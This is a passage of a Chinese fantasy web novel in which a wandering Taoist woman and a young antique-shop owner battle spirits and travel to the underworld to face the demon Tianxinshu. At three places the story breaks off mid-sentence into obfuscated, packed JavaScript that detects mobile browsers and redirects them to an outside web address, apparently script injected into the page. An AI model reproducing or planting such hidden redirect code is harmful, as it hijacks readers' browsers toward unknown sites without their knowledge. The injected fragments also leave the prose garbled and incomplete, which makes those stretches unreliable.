邪念不会凭空产生,也就不会凭空消失,被千刀万剐后仍然能够重聚整合,乃至膨胀发酵。 无论怎么斩杀,那群邪狞始终聚了又散,散了又聚,源源不断。苍名和它们斗得难解难分,宝剑沾上了不少黑油。 “怎么这么脏……”苍名顿时和那个副将一样崩溃。没完没了的邪狞拖住她,看起来要斗上三天三夜。 就在这时,一声清脆的口哨声从半空传来,尾音还带着点转调。 苍名一分神,好奇是谁在吹流氓哨,差点被两只邪狞一左一右缠住,急忙向后跃开。 一道银白色身影从天而降,落在苍名身前。 4. 古楼通妖地 那群粘腻腻的黑色油膏立刻扑上来,银白色身影挥剑回击,一招一式刚劲利落,穿风破海,身手漂亮至极。 眨眼功夫,冲在前面的一群邪狞变成一地流淌的泥泞沼泽,一时聚不成型。 苍名看看银白色身影,眼睛睁得更圆了:“是你?” 又一群邪狞前赴后继地扑了上来,阴魂不散。 苍名趁机掏出一沓树叶漫天一洒,长剑挽花,斜斜向下一挥。 片片树叶刚一落地,又被剑风带起,飞溅如雨。 邪狞被狂舞的叶片打散,和先前那堆一同化为黑沼。 “好剑法!这招叫什么?”少年一边迎上去和最后一群邪狞乒乒乓乓地打斗,一边高声问。 苍名也一边挥剑辗转腾挪,一边回答:“流风回雪!” “每次都要事先带一沓树叶吗?” “不是的!”苍名大声回答,“这招应该在落叶或者水面上用,现在没有落叶,我只能自制!” 说话间,最后一只邪狞也被拍成黑泥。 少年轻轻一笑,长剑架在身前,剑身像冰块一样透明。 剑刃上一道寒光闪过,邪狞化成的沼泽上竟长出火树银花。金光倒映在江水中,如同天地流金。 火树银花之下,黑油油的沼泽飘出隐约的哭声。 “别骂我,别骂我……” “我的房子被暴雨毁了,我不知道住哪……” “活不下去了啊,为什么他们还在打我……” 沼泽迅速流逝着,后来,喃喃自语也消失了。 少年收了剑,转身对苍名说:“这些怨念难以平息,得用些讨巧的刀剑法宝才能化解。” 月光下,他的眼睛又深又亮,一眨不眨地看着她。 苍名忍住了没问他这把剑从哪偷的,真心实意地说:“谢谢你!我请你喝酒慢慢聊吧!” “好啊……” “不好!”苍名突然惊叫一声。 “?” 被称为副将的妖怪喽啰,牵着亡灵黑马趁乱逃走,连同马上的活人和绣花鞋。一团漆黑的背影远远消失在东边。 贴在他们身上的黄符已经逐渐失效,将要变回树叶的模样。 “要追吗?”少年虚心地请示苍名,“听你的。” “追!” 两人各自扬手抛出长剑,足尖点地纵身一跳,轻轻落在剑上。长剑载着主人向前飞去。 “把人留下!”苍名刚喊了一句,就感到脚下的剑不妙地下沉了几丈。 “你的剑,怕是被妖气缠上了。”少年下降到和她一般的高度,“来我这里。” “那多麻烦你——啊——”苍名一个趔趄,差点被剑晃下去。 少年伸手小心地扶住她的手臂,苍名被他引带着站到他身前。 那把黑油蒙心的宝剑立刻在空中翻了几个滚,啪叽一下掉进江里去了。 “你……”苍名目瞪口呆地看着这把不争气的剑,唉声叹气。 少年站在她身后,低沉柔和的嗓音从头顶传来:“你没有法宝?” 苍名侧过脸回答:“没有的,我都是随便找一把用。有时候条件有限,拿个桃木的也能用。” “……” “那个副将怎么跑这么快?”苍名遥望远处,眉头一皱,发现一换剑的功夫就跟丢了人。 “追不上了,他们进了冥界。”少年淡淡地说,“也就是,阴间。” 苍名还惦记着被劫走的人:“冥界怎么去,活人还能活着回来吗?” “我倒是知道一处去冥界的通道,只是那豁口傍晚时洞开,过了午夜就会关闭,出不去也进不来。”少年指指偏西的月亮,“不如先请我喝酒?” “那……可以呀。”苍名只好点头答应。 活人还没救回来,杀人的绣花鞋也跑了,却要饮酒作乐,听着有点不像话。 但苍名生怕人家以为自己要赖账,反而带头张罗起来:“走走走,去喝酒。” 江对岸,整座逢焉城还在沉睡,就连沿江居住的人家也悄无声息。 没有人能听见或看见夜里的鬼魅,等到天色大亮时,一地火树银花也将不见踪迹。 少年带着她飞过江面,月色溶溶,两人一边闲聊,一边信步沿江走去。直到五层古楼出现在眼前,苍名才发现两人不知不觉地走到了古董店门前。 少年扬扬下巴说:“就在这儿喝吧!”说着好整以暇地走上前去,用冰刃宝剑点了点大门,大门豁然洞开。 苍名紧张地打量着四周,压低声音说:“喂,你怎么又来了?”她轻轻拉住他的袖子:“你先走,我把发冠还回去,随后便到!” 少年一挑眉毛:“不是你想来吗?我跟着你走的。” 苍名立刻矢口否认:“怎么可能?我又不是贼。我是跟着你走的。” “来都来了。”少年做了个“请”的手势,微微一笑,露出一侧梨涡,“晚上不是要去冥界吗?这楼就是入口。” “入口?”苍名半信半疑,几步跑进楼里,“入口在哪呢?” 映入眼帘的景象让她猛地刹住脚步,如同坠入一个邪魅的梦境。 四面光秃秃的破木板不见了,华美繁杂的雕饰直通天花,几乎难以尽收眼底。 一道长长的楼梯自大厅中央起始,一直通向最上方的那扇窗户。那是他们白天时跳进来的窗户,此刻成了神龛的样子,里面却空空荡荡。 四面墙壁雕刻着一层一层的宫殿、神台、露台、穹顶,许多雕像静静站在其中,俯视着下方。 那些雕像千奇百怪,有的穿盔甲,执法杖,有的头为骷髅,身披斗篷。 西侧一道瀑布从天花倾泻而下,汇集成湖,东侧则云雾缭绕,曲水流觞。若干空中之桥从主楼梯延伸而出,通向墙壁上的每个角落。 窗户错落地分布在墙壁上,在那些宫殿、神台、露台、穹顶之间寻找着自己的位置。 “怎么样,还可以吧。”少年抱着手臂,微笑打量着墙壁。 苍名收回大受震感的目光:“你是怎么发现这里的?” 少年回头一笑:“这里么——” 楼外突然传来一声爆吼:“鬼克星!出来!” “糟了。”苍名跑上一段石阶,扑到窗边向外张望。希声和无律这对为了珠冠而互相殴打的昔日旧友,竟然还在四处寻找她——在她又是打架又是交友的时间里,他们依然执着地在城里乱转着。 虽然佩服他们的毅力,苍名还是立刻闪开,捂着踉踉跄跄地心脏退后,好像不敢相信眼前的景象:“是追杀我的人来了!小公子,不瞒你说,我是无辜的过路人呐……” 苍名调动毕生之演技。 窗外是气急败坏的无律,和满脸寒冰的希声。两人作为堂堂散仙,头发凌乱,衣服沾灰,狼狈不堪。 少年也走上石阶,啧了一声:“你果然是贼。” “不,我不是贼!”苍名略微恼怒地说,“是他们要抢我的东西。” “哦,这样吗。”少年垂下眼眸,掩饰着隐约的笑意。 苍名把他往窗前推着:“我就藏在这里,你快跳窗户走。” 少年一不留神差点被推个跟头,很快站稳脚跟,咳了一声:“不必惊慌,你在这里面玩玩,我去应付。” 说着,他一把推开窗户,对楼下的两人朗声说道:“夜半三更,古董店可不开门,二位是劫匪么?” 无律的声音传了上来:“你是谁?” 少年答非所问地说:“二位既然是劫匪,就得罪了。”说着伸手拉住窗前悬挂的风铃,轻轻一晃。 叮铃,叮铃。 闪电霹雳,轰隆作响,无数巨石从古楼屋顶滚落,山崩地裂地砸了下去。 少年居高临下,占尽先机。楼下两人大惊之下,只有纵身躲避的份,顿时漫天都是无律的骂声。 希声似乎在撒出黄符:“定!” 接着是巨石炸裂的声音。 无律喊道:“更难躲了——盾开——” 苍名再也按耐不住,贴墙移动到少年身边,拉拉他的袖口,悄声说:“我来。” 少年低头似笑非笑地看了她一眼,苍名又说:“我来。” 他挑了挑眉说:“何必麻烦。”又一拉风铃,古楼的烟囱缓缓冒出炊烟。 轻烟弥漫着森森的苦涩气味,不向上行,反而往地面上飘。 希声一拉无律:“夺魂散!” 轻烟就像长了眼睛,直奔人来,散入肺腑。如果地上站的是两个凡人,早就成了阴尸,这会儿已经面目狰狞、双手前伸地到处乱蹦了。 两人齐齐向后飞奔出几丈远,无律扭头说:“多有冒犯,告辞。” 希声不满地问:“这就告辞了?” 无律说:“这古董店是逢焉城第一怪,凡是擅自闯入者,必定触发机关,你也看到了。” 希声淡漠地叹了一口气:“算了。那她应该不在里面。” 两人就这样一边叹气,一边愤愤不平地往别处去了。 苍名大气不出地看他们消失在视野尽头,这才钦佩地看向这偷鸡摸狗的少年,发现他也正定定地看着自己。 苍名说:“你对这里摸得很熟练嘛。” “这里么,”少年微微一笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172718|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“本来就是我的。” 说着,他随意一挥手,几个侍者捧着各色菜肴从一道小门里鱼贯而入,转眼就在圆桌上摆满了美食佳酿。 “你是这里的主人?”苍名迷惑地看着他。烛火映照着他的侧脸,骨骼精美有力,眉峰鼻骨,唇珠下巴,皆如雕刻般高低错落。 “是。”他伸手示意苍名入座,自己也坐了下来,低低一笑,“怎么,以为古董店主是个老头么?” 苍名抿嘴一笑,倒了两杯酒,自己双手捧起一杯:“我敬店主,多谢你仗义相救。” 少年也举起酒杯回敬:“我敬这位道士姐姐,原来你是来捉妖的。” “恩,算是吧,什么都捉一点。”苍名端庄地啜饮了一口酒,“没活干的时候,也会帮农家捉老鼠蝗虫什么的。” 少年难得地呛了一下。 苍名放下酒杯,主动说:“我这人隐姓埋名,比较随意,你叫我什么都成。” “什么都成,幸会了。”少年点点头,促狭地挑起一侧嘴角。苍名忍不住又喝了一口酒,又夹了一块鲜咸风味的点心,比息园三坊的龟壳烧饼强出百倍。 少年等了一会儿,忍不住提醒:“你不问我的名字?” “没关系,想说的时候自然会说了。”苍名已经开始埋头吃菜。尽管仙人不需要靠着五谷杂粮维持生命,但偶尔能够享用一回人间至乐还是十分诱人的事。 少年顿了顿,又问:“你不觉得我很奇怪?” “觉得。不过吗,对于奇怪的人来说,”苍名抬头一笑,“不奇怪的人,也很奇怪。” “好。”少年笑了起来,声线清清冷冷,仿佛春水中冰块碰撞。 苍名继续低头吃了起来。少年等了半天,只好自己说:“在下未辞。” “噢?”苍名感到意外地抬起头。 “楚未辞。”他看着苍名,眼里闪烁的光泽十分奇异,仿佛是一片浩瀚长夜中,千年世事随星辰周转轮回。 “哎哟我去。”苍名惊奇地说,“你名字真好听!” 未辞一愣,噗哧一声笑了。 苍名继续说:“可不是吗,优秀的人,连名字都起得好听……” 楚辞尚未辞,敬祝苍生名。若两人的名字这样连起来,是多么美的际遇。 “哪里优秀?” 苍名驱散乱七八糟的心思,顺口就答:“哪里都优秀。” “看来只是恭维我。”他垂下头,看起来有些惆怅,“我明白的。从没人真心称赞我。” “怎么会。”苍名急忙安慰这孩子,“你武艺高强,仪表堂堂,年富力强,前途无量。” “听你这么说,我感觉好多了。”他微笑着说,“你经常夸别人吗?” “这哪是夸赞。”苍名摆摆手,“实话实说罢了。” 昔年修行时,希声不怎么爱搭理人,还曾用眼神吓得一只恶鬼要把行宫让给她。 无律是一夸人就旁征博引,没完没了,最后别人听了后句忘前句,根本不记得他说了什么。 苍名则一向低调圆融,路过一只老狗都要夸一句牙好,还为失败的剿鬼行动顶过锅,在师门中人缘不错。 后来被驱逐后,坊间传闻说她巧舌如簧,顶着最清纯天真的脸,干着最缺德没品的事,许诺以天下苍生气运做供奉,哄得玉皇大帝都乐意保佑她,结果还不上愿,被反噬了。 未辞不再追问,转而说起种种剑法流派。苍名顿时来了兴致,跟他拉不断扯不断地聊起来。 未辞问:“道士姐姐可是忘仙派弟子?” 苍名避而不答,挑了挑眉毛:“忘仙派?你连这种灭绝的教派都听过?” “听过。”未辞凝视着苍名的脸,嘴角微微上扬,“舞姿如天人,霎时忘乾坤。原来道士姐姐并非忘仙派门下,却能一舞惊山海。” “咦,你怎么会看到我跳舞?”苍名记得他是半路突然跳出来的,并没看见她起舞布设法场的一段。 “我一直在旁边看着你啊。”他笑眯眯地说。 “啊?”苍名一惊,“我怎么都察觉不到?” 未辞笑而不语。苍名不动声色地套问道:“你似乎师出名门,学的是什么派别的剑术?” 未辞说:“什么都学一点,什么都练一点,刀剑长矛皆可用。” 苍名感叹:“古往今来,四海八荒,果然人外有人,仙外有仙。” 未辞轻声问:“道士姐姐似乎也对忘仙派有所耳闻,可知什么是舞武二清流?” 在跃动的烛影中,苍名的面庞变得更加柔和光明,她微笑回答:“所修之道悲悯清正,所持之心光华清明。” 5. 未闻百鬼行 一顿饭吃完,苍名略微腼腆地说:“下顿我请你。” “别客气。”未辞扬了扬手,“晚上我们要去冥界,以后再请我好了。” 苍名摇头说:“我自己去,麻烦你给我指个路就行。” “你连剑都没有,还是带个帮手吧,”他毫不委婉地说,“道士姐姐。” “我……”苍名改口说,“贫道……自会去找来一把剑。” 未辞突然沮丧地说:“你应该也看出来了,其实我也是异能之人,和冥界有些生意,正想找个人一起去呢。” 苍名温和地解释道:“我这次去打鬼救人,还要追查点事情,很危险的,下次再陪你逛好了。” “我今天去要去讨债,你能帮我吗。”未辞抬起晶莹湿润的眼睛,诚恳地问。 “讨债?”苍名一愣,无法想象有人敢欠他的债,看来不是皮痒了想挨顿打,就是走投无路的亡命徒。 苍名终于答应道:“我跟你一起去看看。” “好极了。”他起身踱到苍名身旁,“道士姐姐,我带你看看这楼里吧?” “好啊。”苍名笑嘻嘻地说,“店主请。” “道士姐姐请。” 两人拾级而上。卿云烂兮,糺缦缦兮。一层一层,美轮美奂。 苍名忍不住问道:“这楼里比外面看起来大得多,倒像是一片山川。” 未辞懒洋洋地说:“略施障眼法,比道士姐姐你的功力还是差了点。” 苍名仰头看着穹顶,只见繁星流动,夜色深沉,仿佛置身于原野之上,天高地远。 未辞凝视着她的侧脸,呼吸为之一滞,转过头去说:“房顶也施了幻术,从楼里看见的是外面的天。” “你这房顶,倒是个夜观星象的好地方。”苍名转脸一笑。 屋顶之上,晚风拂面。未辞打头,苍名随后,两人踩着片片青瓦缓步前行,找了一处横梁坐下。 苍名举起手里的酒壶:“喝吗?” 未辞接过酒壶,壶嘴高高悬空倾倒,酒浆如飞流倒落进口中。 他把酒壶递回给苍名,苍名稍微转过身,也如法炮制地喝了一口。 夜幕低垂,四野寂静。苍名突然压低声音,给了未辞一肘子:“看。” 两个无名鬼魂从地上飘过。一个说:“你呀,还是死得太晚了。我毕竟虚长你几岁,我死那时候,但凡是阴间的妖魔鬼怪,谁不知道东西南北中的名号。” 另一个说:“哎哟,我死晚了,死晚了,一点没听说过呀。” 那个老鬼说:“现在逐渐淡出啦,没人提了。” 小鬼说:“愿闻其详。” “你记着啊,这是四个厉害的流派,再加一个凶狠毒辣的狠角,一弹手指头就能把咱们打得魂飞魄散。”老鬼伸出青灰色的手指头数着,“东海潮升,西山晚钟,南江召霞,北原雪结,中野飞鸥。” 苍名微微一笑,想起许多往事。 东海潮升,说的是鸣海奏天流,以奏乐为法,由一位卖唱人所创,这位卖唱人就是希声的师父。 西山晚钟,说的是铜铎山的千钟万鼓流,以节奏为刀,韵律为剑,也就是无律少年时所学之术。 南江召霞,已然失传。 北原雪结,说的正是忘仙派的舞武二清流。忘仙派师祖来自北方关外雪原,据说当年曾在雪中悟道。 至于中野飞鸥,是真没听说过,大概是说中原的什么高人。苍名叹了口气。脱离正统,流落民间,仙界讯息更新迭代,自己全然不知。 两个鬼魂耳朵很灵,听见叹气声,发现这里有个散发生猛之气的活人,急忙飘远了。 未辞看了她一眼,眼波流转,不知在想些什么。 苍名刚要再喝一口酒,未辞也给了她一肘子:“看。” 一辆在陆地上行驶的大船,沿着长街缓缓从逢焉城里滑行出来。船形魅惑诡异,桅杆尖锐高耸,每根都晶莹剔透,散发着幽幽紫光。 苍名手掐法诀,蓄势待发。 鬼船航行到江边,反而停下不走了。苍名调动五感,仍然能听到远处的动静。 一百来个鬼魂从船上飘下来,焦虑地看着对岸的远山。他们面皮或青或白,有老有少,衣着体面,不似野鬼般容颜凄厉,大概是生前家境殷实,死后被埋在不错的坟地。 最中间一位老者手持长杖,身穿青色寿衣,须发皆白,喃喃自语:“三孙子,你可要过来呀。” 苍名顺着他们的目光望向对岸那片山,看不见三孙子的迹象。 过了很久,山坡上隐约有光影晃动。对岸那一百来个鬼似乎都不必要地屏住了呼吸。 光影离山下越来越近,原来是一个打着灯笼翻山赶路的青年鬼魂,长得眉清目秀,就是满脸菜色,步伐犹豫茫然。 对面那一百来个鬼爆发出欢呼呐喊,高声叫着“好了好了”,一窝蜂回到船上,开船渡过江面。 待船停泊靠岸,百鬼又纷纷下船。青年对上他们,猛地刹住脚步。 百鬼喜气洋洋地将其围住,给他拍打身上的灰尘。有的叫着:“我就知道你行!”有的说:“一路上很难吧?” 青年呆立片刻,突然对老者叫道:“爷爷!” 其余鬼说:“我们是你素未谋面的祖宗,我们一起来接你啦。” 又说:“你看这是谁。” 群鬼分开,一对夫妻鬼走了出来,向青年张开双臂。青年像梦游一样走向他们:“爹,娘。” 那些鬼拍拍他的肩,把他送到江边,鼓励地说:“去吧。最后一关是渡江,我们会在船上看着你。过了这关,就能跟我们回阴间啦。” 青年说:“我们不留在这里吗?” 其余鬼哈哈笑着说:“只有孤魂野鬼才留在人间呀。” 于是青年踏进江中,劈波斩浪,向对岸漂去,其余鬼驾驶着大船在其旁航行。很快他们就消失了。 苍名别过脸,只觉得怅然若失。又坐了一会儿,用袖口擦了一把脸,悄悄看向未辞。 未辞正目不斜视地看着江面。 苍名问:“江里经常有鬼游泳吗?” 未辞说:“你看到的那片山,叫做回头岭。山前那条江,叫做春秋渡。每个亡故之人的魂魄,必须先越过回头岭才能成为新鬼,新鬼又要渡过那条江,才能最终进入冥界。许多鬼魂受不了山中的考验,或是对尘世留有眷念,就在回头岭回了头,成了孤魂野鬼。即便越过了回头岭,也有不少鬼魂在春秋渡里沉没,无声消亡。” 春秋渡上几度春秋,回头岭中亡魂奈何,来到此地的鬼魂不计其数,能抵达冥界者寥寥无几。 只有成妖成魔的精怪不受束缚,随意进出冥界,因为他们本非人身所化。 苍名叹息着说:“这可真是,人间难活,鬼界难死。” 东方已经泛白,苍名戴上面具,起身告辞:“我还要回去处理些事情。” “好。”他点点头,“太阳落山时,在后门,不见不散。” 苍名刚要转身,他又说:“等等。这个给你。” 低头一看,是一张晶莹夺目的兔子彩金面具。苍名急忙摆手说:“这太贵重了。” 他诚恳地说:“收下吧。你的面具,真的很丑。” “……” 夕阳晚照时,苍名已经戴着兔头面具跑遍了城里八个方位,给每处都贴上了黄符。 这些黄符有的贴在猪圈角落,有的贴在墙角砖头下,哪怕是经验最丰富的毛贼,也绝对翻不到这种地方。 苍名掂着最后一张黄符,犹豫而迟缓地朝着城中央走去。 她生怕自己一去冥界就中了调虎离山之计,于是花了一个上午费劲巴力地手绘了九张不会失效的护城符。 若有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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古楼前门紧闭,后门敞开。苍名穿过后门,一步迈进古董店,和未辞一起在阴影下藏起来,四面又是光秃秃的木板墙壁了。 几位客人聚集在柜台之前,满脸迫切潦倒。柜台后面站着一个铜质武士,面具遮脸,从头到脚都被铁皮盔甲覆盖,正在迟缓地抬起咔咔作响的手臂,将一位客人带来的玉瓶举到眼前,用嗡鸣的声音说:“典当价五十黄金,买断价三十黄金。” 那位客人压低声音说:“诶,这可是收魂的瓶子,怎么说也多给点。” 铁甲铜人不再发出声音。一阵沉寂后,客人咬牙说:“典当。” 说是典当,将来要是想赎回来,当然要拿出比五十金更高的价。珍宝来此,有去无回。 铁甲铜人将几位客人都送走,就关了店门,靠墙一动不动,重新变成了塑像。 两人从阴影中走出来,苍名惭愧地说:“是不是耽误你做生意了?” 未辞轻松地说:“要来的人迟早会来,除了我这里,没有别的去处。” 他的嘴角带着若有若无的笑意,笃定和冷意在眼中一闪而过,那不像是一个不到二十岁的少年的眼神。 苍名出神地看了一眼,忽然想起来:“我觉得你好像不喜欢被人知道身份,你放心,我对谁都没有说起你。” “如果你想说,说了也无妨。”未辞笑了笑,“不过我的确从不出现在任何人眼前。” “从不出现吗?”苍名环顾四周,“还有你这里的正门,也从不打开迎客吗?” “恩,任何人都只能从后门进来。” 苍名眨眨眼睛,正色道:“阴间,要怎么去呢?” 未辞指了指顶端的那扇窗户:“跳进窗户时默念口令就可以了。我带你。” 6. 微城无日月 “等等!”苍名急忙从衣襟里掏出一沓小纸片,“这是我托人帮忙写的,能不能放在你的店里?” “可以。这是什么?”未辞接过来一看,纸片上赫然写着几行字。 正统道士,驱邪作法。 收费合理,广受好评。 请认准老字号:抓鬼姐。 未辞忍俊不禁:“抓鬼姐,广受好评?” “只要放在你的柜台上,给每个来客发一张就好啦。”苍名讨好地说。 “好,快要发完的时候我会和你说。”未辞将纸片放到铁甲人的手里,“到时你拿新的过来。” “未辞棒小伙。”苍名笑眯眯地夸了许多溢美之词,未辞似笑非笑地听着,不置可否。 最后苍名看了看天色:“我们走吧!” 他道了声得罪,一手轻轻扶住苍名的手肘,一手环绕着她的肩膀。两人对视一眼,一起飞向空中那片微明。 白光过后,未辞在她耳边说:“好了。”眼前是一片奇异喧闹的城池。 城门两侧刻着一副对联:有为皆是幻,何事不成空。横批,微不足道。 城中街道上无数妖鬼魔物,悬浮游荡,千奇百怪。有的沿街摆摊叫卖,有的挑挑拣拣,讨价还价。也有蒙面的活人走来走去,一看就是乔装打扮来冥界办事的奇人术士。 “这里,”未辞看向苍名,“是微城。” “微城。”苍名打量着那副对联,又望向城里,“好热闹啊。” 街道两侧的房屋都曲里拐弯、妖里妖气,天色则是暗淡的湖绿色。这里没有太阳,也没有月亮。 “穿上吧,抓鬼姐。”未辞递过来一件连帽斗篷,他自己已经穿好了。 苍名接过来穿上,又戴上兔脸面具,感激地说:“你真细心,旧货哥。” 他看着苍名面具上的兔耳朵,低头一笑,没有做声。 两人顺着大街漫步时,未辞说:“你要找的天心沭,是只妖大王,在冥界算是有名有姓,称霸一方。” “恩,先摸清这个妖大王的府上在哪。”苍名环顾四周,“不知道那个活人怎么样了。” 微城虽然叫做城,却越走越大,漫无边界,其地域之辽阔如同国度,使得苍名一筹莫展。 稍加思索后,苍名先进了路边一家修马掌的店,问那个看店的小鬼:“请问,有没有一匹脖子上中了箭的马来过?” 小鬼看了她一眼,摇摇头。 苍名不死心地问:“您再帮我想想,前后十年间,从没有过这样的马吗?” 小鬼说:“有的是,你问哪个?” “……”苍名一时语塞。 未辞轻声说:“冥界使唤的马,多是不得善终的暴毙之马。” 于是两人向小鬼道了谢,另想办法,没完没了地试了半天,转了无数条大街小巷。 “不行啊。”苍名头疼地说,“你有没有途径打听到那个妖大王的住处呢?” 未辞摇头说:“天心沭生性狡猾,每逢初一十五都会搬一次家,从不流露踪迹。” “我还以为你什么都知道呢。”苍名微微一笑。 未辞却说:“也差不多吧。” 找了半天毫无眉目,两人索性靠在墙根下休息。一群老鬼蹲坐在路边乞讨,看着眼前行经的金车银马。纸糊的车马豪宅、童男童女被一把火送到冥界,化为实相。 远远天际,一座瘦骨嶙峋的黑山,拔地而起,遮天蔽日,怪模怪样。 一架在陆地上行驶的幽灵船滑行过来,船上的老爷子往下洒了一把烧焦的纸钱,立刻引起了一些穷鬼的哄抢,乞讨的老鬼也纷纷爬来。 老爷子站在甲板上俯视众鬼,对身边的俊秀青年说:“三孙子,看见了吧,鬼界也讲究功德。不过么,钱洒出去,他们要买这买那,最后还是要回到咱家的店铺里。你在人间不学无术,现在可要上心了。” 三孙子鬼答应着:“我懂了,爷爷。” “那不是那天晚上接新鬼的船吗?”苍名饶有兴致地说,“巧啊。” 借着天空的幽光细看,两人今天都换了一套新的寿衣,敷了一层白粉遮盖尸斑,眉心凝聚淡淡的鬼气。 三面深紫色船帆中,有一面高高升起,上面写了一个不易察觉的游字,笔画漆黑,纤细波折,邪气四溢。 游老爷子拉着孙子的手拍了两下:“今天带你去人间逛逛,爷爷知道你还想着。” 游少爷却说:“我刚变成鬼魂时,有个道士不分青红皂白就要捉拿我,我不敢回人间啦。” “怎么这样啊。”苍名在一旁出声打抱不平,“相逢即是缘,这个保命黄符给你!此符保良民而惩邪祟,以后别的道士见了就不会乱捉你了。”说着伸手递出一张树叶变的护身符。 “谢谢这位高人!”游少爷又惊又喜。 游老爷子命鬼奴扶着他下了船,亲自对苍名道谢:“多谢大侠。老朽姓游,这是我那不成器的三孙子。” 苍名爽快地说:“这算什么,不客气。” 又不花工料钱。 游少爷跟在后面,捧着护身符,一脸灿烂的笑容:“大侠,以后您提我游霄的名字,好使!” 游老爷子呵斥一句:“显摆什么,不知天高地厚。” 游霄翻来覆去地看着黄符,又轻轻挠了两下:“咦,这个样式,有点像我刚来那天晚上见到的呢!” “你见到的?”苍名灵光乍现,当即追问,“见到谁?往何处去?” “见到一个妖和一个马身上贴着符,后来他们好像往那边去了。” 话音未落,苍名和未辞已经像闪电一样疾驰而去。 顺着游霄手指的方向,两人转眼施展轻功追出十几里,苍名突然一个立正:“到了。” 未辞也轻轻刹住脚步,看她举起另一张树叶变的黄符,上上下下地向四面八方挥舞,就像驱赶蚊虫一样。 未辞背着手说:“道士姐姐,你还会跳大神呢。” “那边!”苍名突然定住,“它感应到那张黄符的痕迹了。” 树叶黄符往黑山方向飘去。 黑山地势陡峭,余脉连绵。山内如同迷宫,无数山洞隧道贯通交汇,时而有碎石滚落,易守难攻。 苍名和未辞都是五感灵通之人,能识妖气,很快摸进鬼大王的洞中,蹲在石门两侧向里凝望。 一群小妖从另一扇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15172720|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门里涌进来,它们排成一竖行,每个人都猫腰端着盘子,急匆匆地小步赶往大厅宝座前的茶几,依次放下各色点心。 两人无声无息地飞身上了岩壁,踩着凹凸的落脚点紧紧贴在墙上。 不多时,那天的副将迈着铿锵有力的步伐走了过来,穿过石门进了大厅。 烛光映照下,副将头上簪花,花分四季,脸面像被闪电劈过的树干,焦枯掉渣,褶皱层叠。 苍名立刻后悔自己为什么要细看。 副将朗声说:“启禀大王,那抓来的小子乱踢乱打,竟把咱们黑山震坏了一小块,属下已经派鬼去修了。” 黑暗之中,苍名和未辞对视一眼,都在琢磨这小子是不是那天被掳走的活人。 一道清越的女声响起:“你看着办吧。” 苍名向大厅看去,顿时倒吸一口冷气。 只见一座遍体煞白的雪雕从宝座之后的珠帘中徐徐走出,头发、脸庞、衣服俱是白雪雕琢而成。 雪雕一掀下摆坐在宝座上,露出脚上一双鲜红色绣花鞋,与浑身雪白相衬,鬼魅至极。 生吃活人的妖大王,竟然是一位容貌姣好的雕塑。 天心沭拈起盘中的果脯,冷笑一声:“判木,你的眼力也不好了。你看不见,洞里有两个贼么?” 苍名呼吸一顿,瞥见她手中的识怪罗盘。她和未辞对视一眼,轻轻跳落在天心沭面前。 副将立刻大吼一声:“就是他们!” 苍名说:“你们作弊了。” 天心沭哼了一声,一挥手就把他们两个绑在一起扔到墙角。 副将在旁边大声喝彩,她说:“闭嘴。” 苍名又说:“求求你不要杀我们,你不如把我们关起来,让我爹拿钱来赎。” 天心沭森森地说:“好让你去牢里找那小子,对么?小丫头片子,别跟我耍心机。” 苍名只好说:“敢问天心沭阁下,那小子若没得罪你,能不能别吃他?” “住口!”天心沭震怒,额头的筋都爆起来了,“谁吃人?人是最恶心的东西!” 副将在一旁振臂高呼:“最恶心!” 苍名奇怪地说:“咦,那个吃人的妖怪,原来不是你吗?” 嗷的一声,宝座上的女鬼放声怪叫,飞上石壁,四肢并用,像一只雪白蜘蛛,嗖嗖爬到苍名旁边,在她耳边阴恻恻地说:“你,说谁吃人?” 未辞在苍名身后,锐利地看了女鬼一眼。女鬼挂在石壁上,忌惮地退后了两分,突然一推石壁,飞回到宝座上,气势汹汹地说:“你们到底为何与我为难!” 苍名面带暧昧地说:“那么你抓那小子,是不是……” 天心沭啐了一口:“别他妈恶心我,那是个公的,我平生最讨厌男人。” 副将:“最讨厌!” “噢。”苍名恍然大悟,“你喜欢女人。” “我不喜欢!”她的青筋又开始凸现,“女人也没有好东西!” 苍名只好闭上了嘴。 天心沭闭目养神了一会儿,冷笑着说:“那狗官给了你多少银子,让你这么卖命?” 苍名困惑地问:“哪个狗官?” 7. 天心问神明 她打量着苍名:“休想诈我,你分明是受人雇用。那晚我副将要去捉拿狗官,竟被你拦路搅局。” “是啊,不知道谁雇我,我比较关心能不能拿到钱。”苍名不吐不快。 天心沭已经懒得搭理苍名二人,转身抛下一句:“拿去卖掉。” 苍名和未辞同时化去绳索,白光淹没了副将大声应答的声音。未辞闪身去攻天心沭,苍名便默契地去打副将。一时之间洞中刀光剑影,人影翩飞。 “接着。”未辞把自己的剑扔给苍名,徒手以拳掌对抗天心沭,身法轻捷而游刃有余。苍名左手一抛宝剑,换到右手,顷刻间已结了个法阵。 